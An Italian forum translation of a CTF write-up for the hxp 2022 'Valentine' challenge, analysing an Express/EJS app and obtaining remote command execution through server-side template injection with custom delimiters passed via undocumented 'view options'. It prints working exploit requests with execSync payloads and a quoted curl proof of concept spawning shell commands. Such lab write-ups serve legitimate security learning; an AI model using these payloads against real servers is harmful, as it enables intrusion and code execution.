Discussione Sfruttare una SSTI tramite delle funzionalità non documentate in EJS

0xbro

Super Moderatore
24 Febbraio 2017
4,465
179
3,764
1,825
Ultima modifica:

Sfruttare una Server Side Template Injection tramite delle funzionalità non documentate in EJS​

Post originale: Finding SSTI in an EJS app using existing exploits and undocumented features (0xbro, 2023)
Traduzione a cura di: Chiara Borgarello

Valentine è una sfida web di difficoltà facile dell’hxp 2022 CTF dove occorre sfruttare una vulnerabilità Server Side Template Injection, utile a ottenere l’esecuzione di codice remoto, grazie a una funzionalità non documentata di Express e EJS, che consente di aggirare i controlli di sicurezza effettuati dall'applicazione e di eseguire il rendering di modelli arbitrari. La soluzione prevista adotta un approccio simile, ma utilizza una funzionalità documentata che verrà trattata nel capitolo finale.​

Abilità migliorate​

  • Revisione del codice per applicazioni JavaScript
  • Sfruttamento delle vulnerabilità Server Side Teamplte Injection
  • Sfruttamento delle funzionalità non documentate di EJS

Video (inglese)​




Vedi: https://youtu.be/omMMpjywq64



Indice​





1    WRITEUP


Valentine è una sfida web di difficoltà facile dell’hxp 2022 CTF in cui è possibile creare un modello di biglietto fantastico per il proprio San Valentino e condividerlo con il mondo!​

1.1    CONFIGURAZIONE


Il sito fornisce un archivio contenente il codice sorgente dell’ applicazione e il file docker-compose per la riproduzione locale dell’ambiente; inoltre, fornisce due IP che ospitano la sfida vera e propria, ma non sono più funzionanti poiché la CTF è terminata.​
Bash:
┌──(kali㉿kali)-[~/YT]
└─$ tree
.
├── valentine
│   ├── app.js
│   ├── docker-compose.yml
│   ├── Dockerfile
│   ├── flag.txt
│   ├── index.html
│   ├── package.json
│   ├── package-lock.json
│   └── readflag
└── valentine-9455b10a15fc5519.tar.xz

2 directories, 9 files

Dal momento che abbiamo un file docker-compose pronto all’uso, possiamo avviare la costruzione dell’ambiente, e nel contempo dare un'occhiata più approfondita ai file contenuti all’interno dell’archivio.​

Bash:
┌──(kali㉿kali)-[~/YT/valentine]
└─$ sudo docker compose up

1.2    ACQUISIZIONE DELLE INFORMAZIONI


1.2.1    Analisi dei file e delle configurazioni


Osservando il Dockerfile, notiamo immediatamente che l’applicazione utilizza NodeJS, che espone la porta 3000 e che il file flag.txt è collocato all’interno della cartella principale insieme al binario /readflag, che probabilmente deve essere utilizzato per ottenere la flag.
Bash:
# see docker-compose.yml

FROM node:current-bullseye
ENV NODE_ENV=production
WORKDIR /app

COPY package.json package-lock.json app.js index.html /app/
COPY flag.txt readflag /
RUN npm install

RUN mkdir views
RUN chown node:node views

RUN chown root:root /flag.txt && chmod 400 /flag.txt
RUN chown root:root /readflag && chmod 4555 /readflag

EXPOSE 3000

USER node
CMD node app.js

Il docker-compose.yml non fornisce molte informazioni, abbina semplicemente la porta 9086 alla porta 3000.
Bash:
version: "3"
services:

  chall:
    build:
      dockerfile: Dockerfile

    restart: always
    ports:
      - 9086:3000

D’altro canto, il file package.json è molto interessante: ci mostra che il punto d’ingresso dell’applicazione è il file app.js, ma, cosa ancor più interessante, ci mostra che l’applicazione utilizza express e ejs, un semplice linguaggio di templating che permette di generare del markup HTML utilizzando del semplice JavaScript.
JSON:
{
  "name": "valentine",
  "version": "1.0.0",
  "description": "Create a valentine's card for your loved one",
  "main": "app.js",
  "author": "sandr0",
  "license": "MIT",
  "dependencies": {
    "ejs": "^3.1.8",
    "express": "^4.18.2"
  }
}

I file index.html e app.js costituiscono il nucleo dell’applicazione, tuttavia, li esamineremo successivamente, dopo aver dato un’occhiata alla vera sfida.
JavaScript:
// app.js
var express = require('express');
var bodyParser = require('body-parser')
const crypto = require("crypto");
var path = require('path');
const fs = require('fs');

var app = express();
viewsFolder = path.join(__dirname, 'views');

if (!fs.existsSync(viewsFolder)) {
  fs.mkdirSync(viewsFolder);
}

app.set('views', viewsFolder);
app.set('view engine', 'ejs');

app.use(bodyParser.urlencoded({ extended: false }))

app.post('/template', function(req, res) {
  let tmpl = req.body.tmpl;
  let i = -1;
  console.log("tmpl:"+tmpl)
  while((i = tmpl.indexOf("<%", i+1)) >= 0) {
    console.log("i: "+ i + " - " +tmpl.substring(i, i+11));
    if (tmpl.substring(i, i+11) !== "<%= name %>") {
      res.status(400).send({message:"Only '<%= name %>' is allowed."});
      return;
    }
  }
  console.log("Bypassed!")
  let uuid;
  do {
    uuid = crypto.randomUUID();
  } while (fs.existsSync(`views/${uuid}.ejs`))

  try {
    fs.writeFileSync(`views/${uuid}.ejs`, tmpl);
  } catch(err) {
    console.log(err);
    res.status(500).send("Failed to write Valentine's card");
    return;
  }
  let name = req.body.name ?? '';
  return res.redirect(`/${uuid}?name=${name}`);
});

app.get('/:template', function(req, res) {
  let query = req.query;
  let template = req.params.template
  if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(template)) {
    res.status(400).send("Not a valid card id")
    return;
  }
  if (!fs.existsSync(`views/${template}.ejs`)) {
    res.status(400).send('Valentine\'s card does not exist')
    return;
  }
  if (!query['name']) {
    query['name'] = ''
  }
  console.log("name: "+query['name']);
  console.log(query);
  return res.render(template, query);
});

app.get('/', function(req, res) {
  return res.sendFile('./index.html', {root: __dirname});
});

app.listen(process.env.PORT || 3000);

Bene! A questo punto, l’ambiente docker dovrebbe essere pronto. Possiamo navigare su localhost sulla porta 9086 e dare un’occhiata più approfondita all’applicazione.​

1.2.2    L'applicazione in breve


La pagina iniziale genera un template HTML di partenza che possiamo personalizzare. Al fondo della pagina, possiamo aggiungere un nome che verrà inserito nel template al posto campo <%= name %>.
valentine1.png

Facendo passare il traffico attraverso Burpsuite, osserviamo che il codice del template viene passato al server all’interno del campo tmpl, insieme al nome indicato. A questo punto, il placeholder “nome” viene sostituito dall’input fornito dall’utente e l’output risultante viene visualizzato sullo schermo.
HTTP:
POST /template
Host: 127.0.0.1:9086
Content-Type: application/x-www-form-urlencoded
...

tmpl=<%= name %>&name=0xbro
valentine2.png

Tutte le prove portano a pensare a una vulnerabilità di tipo Server Side Template Injection, ma se poviamo ad iniettare qualche calcolo matematico o alcuni payload di base, questi non vengono elaborati, bensì mostrati così come sono. Possiamo provare a creare altri placeholder con nomi differenti, ma vengono tutti rifiutati dal back-end.
valentine3.png

Se vogliamo aggiungere un altro payload diverso dal placeholder originale, dobbiamo trovare un bypass dei controlli di sicurezza implementati dall’applicazione. Per fare ciò, dobbiamo dare un’occhiata più approfondita al codice sorgente dell’applicazione e, fortunatamente, abbiamo tutto ciò che ci serve.​


1.2.3    Analisi del codice sorgente


Come scritto in precedenza, il file app.js rappresenta il nucleo dell’applicazione. Passando in rassegna il codice sorgente, possiamo notare che la sfida utilizza ejs per gestire le views e che esse sono memorizzate all'interno della cartella /views con un uuid casuale come nome del file.
JavaScript:
var express = require('express');
var bodyParser = require('body-parser')
const crypto = require("crypto");
var path = require('path');
const fs = require('fs');

var app = express();
viewsFolder = path.join(__dirname, 'views');

if (!fs.existsSync(viewsFolder)) {
  fs.mkdirSync(viewsFolder);
}

app.set('views', viewsFolder);
app.set('view engine', 'ejs');

...

let uuid;
  do {
    uuid = crypto.randomUUID();
  } while (fs.existsSync(`views/${uuid}.ejs`))

  try {
    fs.writeFileSync(`views/${uuid}.ejs`, tmpl);
  } catch(err) {
    res.status(500).send("Failed to write Valentine's card");
    return;
  }
});

Il contenuto di queste view, che non sono altro che file di template, viene copiato dal campo tmpl nel body, ma prima di scriverlo all’interno del file view, il server verifica la presenza di placeholder diversi da quello predefinito. Nel caso trovasse un valore diverso, stampa il messaggio di errore che abbiamo visto prima; altrimenti, scrive tmpl all'interno della nuova view e reindirizza a tale file.
JavaScript:
app.post('/template', function(req, res) {
  let tmpl = req.body.tmpl;
  let i = -1;
  while((i = tmpl.indexOf("<%", i+1)) >= 0) {
    if (tmpl.substring(i, i+11) !== "<%= name %>") {
      res.status(400).send({message:"Only '<%= name %>' is allowed."});
      return;
    }
  }
 
  ...

  let name = req.body.name ?? '';
  return res.redirect(`/${uuid}?name=${name}`)

Quando si richiede un file di template, la funzione verifica se il biglietto ha un codice valido ed esiste e, se non riscontra problemi, esegue il rendering del modello utilizzando i dati passati attraverso la query string.​

JavaScript:
app.get('/:template', function(req, res) {
  let query = req.query;
  let template = req.params.template
  if (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(template)) {
    res.status(400).send("Not a valid card id")
    return;
  }
  if (!fs.existsSync(`views/${template}.ejs`)) {
    res.status(400).send('Valentine\'s card does not exist')
    return;
  }
  if (!query['name']) {
    query['name'] = ''
  }
  return res.render(template, query);
});

Bene, quindi… dov’è il bug?

1.3    SFRUTTAMENTO DELLE VULNERABILITA'


Per analizzare la questione con una migliore prospettiva, ho aggiunto all’interno del codice sorgente alcuni messaggi di debug che ci mostrano lo stato dell’input fornito dall’utente prima di qualunque funzione chiave. In seguito, ho ricostruito il file docker e ho iniziato a giocare con i parametri utilizzabili.​

1.3.1    substring () bypass


Il nostro primo tentativo è stato quello di provare a bypassare i controlli di sicurezza del server e scrivere i dati arbitrari all'interno del template.

Uno dei miei colleghi ha notato che inserendo due volte il campo tmpl all’interno del body http, era possibile trasmettere al server una array anziché una stringa, aggirando completamente i controlli di sicurezza effettuati con il metodo substring().​

BUG
Substring() fa parte del prototipo di string e può essere utilizzato solo su variabili di tipo string. Nel nostro caso, tuttavia, possiamo passare un array al metodo, forzando la condizione if a risultare sempre falsa.​

PoC:
JavaScript:
var tmpl = [ '<%= asd %>', '<%= asd %>' ]
var i
while((i = tmpl.indexOf("<%", i+1)) >= 0) {
    if (tmpl.substring(i, i+11) !== "<%= name %>") {
      res.status(400).send({message:"Only '<%= name %>' is allowed."});
      console.log('Caught!')
      return;
    }
  }
console.log('bypassed')
valentine4.png

Richiesta http:

HTTP:
POST /template
Host: 127.0.0.1:9086
Content-Type: application/x-www-form-urlencoded

tmpl=<%= name %>&tmpl=<%= name %>

Risposta del server:

HTTP:
HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 32
ETag: W/"20-AGcAsG/itS23B2siUG6nl7RRo0A"
Date: Fri, 10 Mar 2023 20:27:20 GMT
Connection: close

Failed to write Valentine's card

Log del server:

Codice:
[ '<%= name %>', '<%= name %>' ]
TypeError [ERR_INVALID_ARG_TYPE]: The "data" argument must be of type string or an instance of Buffer, TypedArray, or DataView. Received an instance of Array
    at Object.writeFileSync (node:fs:2222:5)
    at /app/app.js:36:8
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at next (/app/node_modules/express/lib/router/route.js:144:13)
    at Route.dispatch (/app/node_modules/express/lib/router/route.js:114:3)
    at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
    at /app/node_modules/express/lib/router/index.js:284:15
    at Function.process_params (/app/node_modules/express/lib/router/index.js:346:12)
    at next (/app/node_modules/express/lib/router/index.js:280:10)
    at /app/node_modules/body-parser/lib/read.js:137:5 {
  code: 'ERR_INVALID_ARG_TYPE

Sfortunatamente, non ci è stato possibile procedere oltre perché occorreva un'istanza di Buffer, TypedArray o DataView anziché di un Array, pertanto, siamo andati avanti, alla ricerca di altri bug.​


1.3.2    SSTI utilizzando delimitatori personalizzati EJS


Utilizzando la stessa logica, ho provato a trasmettere al template alcuni parametri non-stringa, notando che non eravamo limitati ad utilizzare solo valori stringa, ma potevamo anche trasmettere array o oggetti al server.
HTTP:
GET /991a04f8-fecd-42f9-af93-31d29f13420c?name[root]=/tmp&name[foo]=pippo
Host: 127.0.0.1:9086


HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 15
ETag: W/"f-wdRP8Dr/E3KFbCgYVPRU4uHRW3w"
Date: Fri, 10 Mar 2023 20:19:12 GMT
Connection: close

[object Object]

Codice:
[+] Log: { root: '/tmp', foo: 'pippo' }

Con questa premessa, abbiamo iniziato a esaminare la documentazione di EJS e le vulnerabilità precedentemente scoperte, alla ricerca di indizi per procedere oltre.

La documentazione ufficiale di EJS ha evidenziato alcune opzioni e funzionalità interessanti. Tra di esse, quello che ha fatto scattare la nostra curiosità è stato il supporto per i delimitatori personalizzati.
valentine5.png

Tra le varie opzioni supportate da EJS, alcune permettono di sovrascrivere i caratteri utilizzati dal template come delimitatori.​

ATTENZIONE
Se riusciamo a trasmettere tali valori al metodo di rendering, possiamo impostare un placeholder completamente differente che passerà tutti i controlli di sicurezza, rimanendo comunque una variabile di template valida.​

I metodi di rendering di EJS accettano questa opzione come terzo parametro, ma il metodo di rendering utilizzato dall’applicazione è quello definito in Express, che accetta un oggetto locals come secondo parametro e che successivamente chiama il metodo renderFile() di EJS.

Se consideriamo che la sfida trasmette una variabile pienamente controllabile dall’utente al metodo di rendering e che abbiamo già scoperto che possiamo trasmettere al server oggetti anziché stringhe, questo percorso pare essere promettente.​

L’indizio finale arriva da diversi articoli relativi ad alcune precedenti vulnerabilità di EJS.


VULNERABILITÀ PRECEDENTI

Questo articolo del 2016 di Snyk, mostra che le opzioni e i dati possono essere trasmessi insieme, utilizzando lo stesso oggetto.
JavaScript:
ejs.renderFile('my-template', {root:'/bad/root/'}, callback);

Questa funzionalità viene anche confermata all’interno della documentazione di EJS, ma non funziona più per opzioni non sicure, come quella mostrata da Snyk.
JavaScript:
app.get('/', (req, res) => {
  res.render('index', {foo: 'FOO', delimiter: '?'});
});

Possiamo provare a trasmettere alcune opzioni come campi separati o addirittura come proprietà dell’oggetto, ma non otteniamo nessun risultato.​

NOTA BENE
Per capire perché non funzioni, fare riferimento al capitolo "Cache e delimitatori personalizzati"
valentine6.png

La mia attenzione è stata totalmente catturata da un altro articolo del GitHub Security Lab, dove si parla di una vulnerabilità RCE in EJS e il codice vulnerabile utilizzato come esempio ha le stesse caratteristiche della nostra sfida. Il PoC fornito è anche molto simile a quello che stavamo creando, ma è stato realizzato per EJS 3.1.5, mentre la versione da noi utilizzata è la 3.1.8.​

JavaScript:
const express = require('express')
const app = express()
const port = 3000
 
app.set('views', __dirname);
app.set('view engine', 'ejs');
app.use(express.urlencoded({ extended: false }));
app.get('/', (req, res) => {
   res.render('index', req.query)
})
 
app.listen(port, () => { })
module.exports = app;

Il Proof of Concept deve creare un file utilizzando touch chiamato /tmp/GHSLPayload:

Bash:
curl 'http://localhost:3000/?message=foo&settings\[view%20options\]\[outputFunctionName\]=x%3Bprocess.mainModule.require(%27child_process%27).exec(%27bash%20-c%20%22touch%20%2Ftmp%2FGHSLPayload%22%27)%3Bx'

Provando il PoC sul nostro server, non funziona, ma la struttura del codice è comunque un ottimo indicatore del fatto che siamo vicini alla soluzione.​

1.3.3    ShallowCopy in EJS non documentata


A illuminarci definitivamente è questo articolo riguardo una Server Side Template Injection in EJS, che ha sfruttato una prototype pollution nella libreria.

L'articolo scava nel codice sorgente di EJS, mostrando perché i dati e le opzioni vengano uniti, ma soprattutto indicandoci una vecchia funzionalità non documentata che possiamo ancora usare nell’ultima versione: la view options:
JavaScript:
var _OPTS_PASSABLE_WITH_DATA = ['delimiter', 'scope', 'context', 'debug', 'compileDebug',
  'client', '_with', 'rmWhitespace', 'strict', 'filename', 'async'];
...
exports.render = function (template, d, o) {
  var data = d || {};
  var opts = o || {};

  // No options object -- if there are optiony names
  // in the data, copy them to options
  if (arguments.length == 2) {
    utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA);
  }

  return handleCache(opts, template)(data);
};
...
exports.renderFile = function () {
    ...
    // Undocumented after Express 2, but still usable, esp. for
    // items that are unsafe to be passed along with data, like `root`
    viewOpts = data.settings['view options'];
    if (viewOpts) {
        utils.shallowCopy(opts, viewOpts);
    }
...

Passando da Express 2.x a 3.x, la view option è mutata in app.locals, ma non è stata rimossa dal codice sorgente!​

BUG
Richiamando la funzione renderFile e passando un singolo oggetto contenente una proprietà settings, contenente a sua volta la proprietà view options, possiamo aggirare il filtro _OPTS_PASSABLE_WITH_DATA e sovrascrivere tutte le proprietà che desideriamo.​

A questo punto possiamo creare un template che contenga l’esecuzione di un comando e che utilizzi dei delimitatori personalizzati, in modo da bypassare il ciclo while alla ricerca del singolo placeholder consentito:
HTTP:
POST /template
Host: 127.0.0.1:9086
Content-Type: application/x-www-form-urlencoded

tmpl=foo [.= process.mainModule.require('child_process').execSync('echo pippo').toString() .] bar&name=asd
valentine7.png

In seguito, possiamo richiedere tale template cambiando i campi settings[view options] con i nuovi delimitatori desiderati:
HTTP:
GET /991a04f8-fecd-42f9-af93-31d29f13420c?name=asd&settings[view%20options][delimiter]=%2e&settings[view%20options][openDelimiter]=%5b&settings[view%20options][closeDelimiter]=%5d
Host: 127.0.0.1:9086

valentine8.png

Ci siamo! Abbiamo ottenuto una remote command execution e possiamo esfiltrare la flag, sia mostrandola sullo schermo, sia utilizzando delle tecniche OAST.​

valentine9.png

valentine10.png

1.3.4    Cache e delimitatori personalizzati


La soluzione prevista non era così diversa da quella adottata, e ad essere onesti, ci siamo avvicinati, ma non l'abbiamo capita a causa di un semplice ma pericoloso errore.

Durante l’analisi, non abbiamo considerato che il server era configurato per funzionare in modalità di produzione e che Express, quindi, aveva la cache abilitata.​

Dockerfile:

Bash:
ENV NODE_ENV=production

Express.js:

JavaScript:
if (env === 'production') {
  this.enable('view cache');
}

Quando abbiamo inviato il delimitatore personalizzato nella query string, non abbiamo ottenuto alcun risultato valido perché il server aveva già memorizzato nella cache la view con il delimitatore non modificato, sin dalla prima volta che abbiamo richiesto il template. Se proviamo a passare il campo delimitatore la prima volta che accediamo al template, otteniamo lo stesso risultato ottenuto utilizzando la view options.​

Template:
valentine11.png


Richiesta intercettata prima di visitare la view per la prima volta:
HTTP:
GET /991a04f8-fecd-42f9-af93-31d29f13420c?name=maoutis&delimiter=.
Host: 127.0.0.1:9086
valentine12.png

Abbiamo complicato ulteriormente la sfida, ma è stata comunque una bella esperienza.​

1.4    FLAG

SUCCESS
hxp{W1ll_u_b3_my_V4l3nt1ne?}


Made with ❤ for Inforge

 
  • Mi piace
Reazioni: haxo e --- Ra ---